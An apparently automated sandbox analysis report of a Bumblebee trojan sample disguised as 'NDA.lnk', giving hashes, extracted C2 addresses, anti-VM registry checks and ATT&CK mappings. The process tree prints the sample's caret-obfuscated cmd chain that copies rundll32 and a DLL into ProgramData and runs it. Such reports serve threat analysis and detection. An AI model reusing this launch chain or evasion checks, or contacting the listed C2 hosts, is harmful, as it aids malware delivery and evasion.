bumblebee | ee868be2d9b4762b0568773ef5b2d5dd16f9cd46b0785ea178b24a44c0fa25ae

General

Target

NDA.lnk
Size

1KB
MD5

fdc406b3cd7bdcbc6353cd24613136d0
SHA1

fdbd4e1724ee0c44856e634d7c4eef797eced829
SHA256

3d2f1bbad8936c9f555642b7ab2af20a6dfaae047378d352989b8d9d5d5efad4
SHA512

1148b23b1ba84d997653b53552f3008e8cca9c29a93c24cb3ea6f7c03a962ac3a96772504406fd2e733f0ae05d2f0871a2a109e3a76a8ebe9cae91cb93b639a5

Score

10^/10

bumblebee 0310 evasion trojan

Malware Config

Extracted

Family

bumblebee

Botnet

0310

C2

146.59.117.200:443

192.255.188.11:443

149.3.170.62:443

rc4.plain

Signatures

BumbleBee
BumbleBee is a webshell malware written in C++.
trojan bumblebee

Enumerates VirtualBox registry keys 2 TTPs 5 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	rundll32.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rundll32.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	rundll32.exe

Executes dropped EXE 1 IoCs

pid	Process
980	rundll32.exe

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	rundll32.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\SOFTWARE\Wine	rundll32.exe

Loads dropped DLL 5 IoCs

pid	Process
1232	cmd.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
980	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1684	timeout.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe
980	rundll32.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 1232	1708	cmd.exe	28
PID 1708 wrote to memory of 1232	1708	cmd.exe	28
PID 1708 wrote to memory of 1232	1708	cmd.exe	28
PID 1232 wrote to memory of 1360	1232	cmd.exe	29
PID 1232 wrote to memory of 1360	1232	cmd.exe	29
PID 1232 wrote to memory of 1360	1232	cmd.exe	29
PID 1232 wrote to memory of 1480	1232	cmd.exe	30
PID 1232 wrote to memory of 1480	1232	cmd.exe	30
PID 1232 wrote to memory of 1480	1232	cmd.exe	30
PID 1232 wrote to memory of 1684	1232	cmd.exe	31
PID 1232 wrote to memory of 1684	1232	cmd.exe	31
PID 1232 wrote to memory of 1684	1232	cmd.exe	31
PID 1232 wrote to memory of 980	1232	cmd.exe	32
PID 1232 wrote to memory of 980	1232	cmd.exe	32
PID 1232 wrote to memory of 980	1232	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NDA.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /b /min xco^py /y C:\Windows\System32\rund*.exe c:\programdata && start /b /min xco^py /h /y cl^ear^.dll c:\programdata && cd c:\programdata && timeout 1 && start /b /min r^u^ndll32.exe clear.dll,runprog && exit
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Windows\system32\xcopy.exe
    xcopy /y C:\Windows\System32\rund*.exe c:\programdata
    3⤵
    PID:1360
- - C:\Windows\system32\xcopy.exe
    xcopy /h /y clear.dll c:\programdata
    3⤵
    PID:1480
- - C:\Windows\system32\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:1684
- - \??\c:\ProgramData\rundll32.exe
    rundll32.exe clear.dll,runprog
    3⤵
    - Enumerates VirtualBox registry keys
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

4

T1497

Credential Access

Discovery

Query Registry

5

T1012

System Information Discovery

2

T1082

Virtualization/Sandbox Evasion

4

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\rundll32.exe

Filesize
44KB

MD5
dd81d91ff3b0763c392422865c9ac12e

SHA1
963b55acc8c566876364716d5aafa353995812a8

SHA256
f5691b8f200e3196e6808e932630e862f8f26f31cd949981373f23c9d87db8b9

SHA512
8a5036ccab9c9e71deb4ecb9598528ca19c2d697a836846d23e1547b24172fa236a798092c7db676929abff830e40f52ce8f3b3bdd8d4c2553d7c021fceaf120

Download Submit
\??\c:\ProgramData\clear.dll

Filesize
2.8MB

MD5
c04feb8231da5188c2fd829a04b08c80

SHA1
a70ebd8d5ae4a926f1227364c014be27e08fd8a0

SHA256
231d52de3ac6088dbf23871340e5495af9e441e0fd56f562f0f22bcb0d7a1f3e

SHA512
eadf248f4fe599af7b889ff1b143eb09ee5b3d5c68e922d06f5e6643c15fadaddc8a61d17fc8ab24991aba75d393e36790a8d5d94b5acd11083a635e2d920b6a

Download Submit
\??\c:\ProgramData\rundll32.exe

Filesize
44KB

MD5
dd81d91ff3b0763c392422865c9ac12e

SHA1
963b55acc8c566876364716d5aafa353995812a8

SHA256
f5691b8f200e3196e6808e932630e862f8f26f31cd949981373f23c9d87db8b9

SHA512
8a5036ccab9c9e71deb4ecb9598528ca19c2d697a836846d23e1547b24172fa236a798092c7db676929abff830e40f52ce8f3b3bdd8d4c2553d7c021fceaf120

Download Submit
\ProgramData\clear.dll

Filesize
2.8MB

MD5
c04feb8231da5188c2fd829a04b08c80

SHA1
a70ebd8d5ae4a926f1227364c014be27e08fd8a0

SHA256
231d52de3ac6088dbf23871340e5495af9e441e0fd56f562f0f22bcb0d7a1f3e

SHA512
eadf248f4fe599af7b889ff1b143eb09ee5b3d5c68e922d06f5e6643c15fadaddc8a61d17fc8ab24991aba75d393e36790a8d5d94b5acd11083a635e2d920b6a

Download Submit
\ProgramData\clear.dll

Filesize
2.8MB

MD5
c04feb8231da5188c2fd829a04b08c80

SHA1
a70ebd8d5ae4a926f1227364c014be27e08fd8a0

SHA256
231d52de3ac6088dbf23871340e5495af9e441e0fd56f562f0f22bcb0d7a1f3e

SHA512
eadf248f4fe599af7b889ff1b143eb09ee5b3d5c68e922d06f5e6643c15fadaddc8a61d17fc8ab24991aba75d393e36790a8d5d94b5acd11083a635e2d920b6a

Download Submit
\ProgramData\clear.dll

Filesize
2.8MB

MD5
c04feb8231da5188c2fd829a04b08c80

SHA1
a70ebd8d5ae4a926f1227364c014be27e08fd8a0

SHA256
231d52de3ac6088dbf23871340e5495af9e441e0fd56f562f0f22bcb0d7a1f3e

SHA512
eadf248f4fe599af7b889ff1b143eb09ee5b3d5c68e922d06f5e6643c15fadaddc8a61d17fc8ab24991aba75d393e36790a8d5d94b5acd11083a635e2d920b6a

Download Submit
\ProgramData\clear.dll

Filesize
2.8MB

MD5
c04feb8231da5188c2fd829a04b08c80

SHA1
a70ebd8d5ae4a926f1227364c014be27e08fd8a0

SHA256
231d52de3ac6088dbf23871340e5495af9e441e0fd56f562f0f22bcb0d7a1f3e

SHA512
eadf248f4fe599af7b889ff1b143eb09ee5b3d5c68e922d06f5e6643c15fadaddc8a61d17fc8ab24991aba75d393e36790a8d5d94b5acd11083a635e2d920b6a

Download Submit
\ProgramData\rundll32.exe

Filesize
44KB

MD5
dd81d91ff3b0763c392422865c9ac12e

SHA1
963b55acc8c566876364716d5aafa353995812a8

SHA256
f5691b8f200e3196e6808e932630e862f8f26f31cd949981373f23c9d87db8b9

SHA512
8a5036ccab9c9e71deb4ecb9598528ca19c2d697a836846d23e1547b24172fa236a798092c7db676929abff830e40f52ce8f3b3bdd8d4c2553d7c021fceaf120

Download Submit
memory/980-104-0x0000000001F00000-0x0000000002053000-memory.dmp

Filesize
1.3MB

Download
memory/1708-54-0x000007FEFB7F1000-0x000007FEFB7F3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads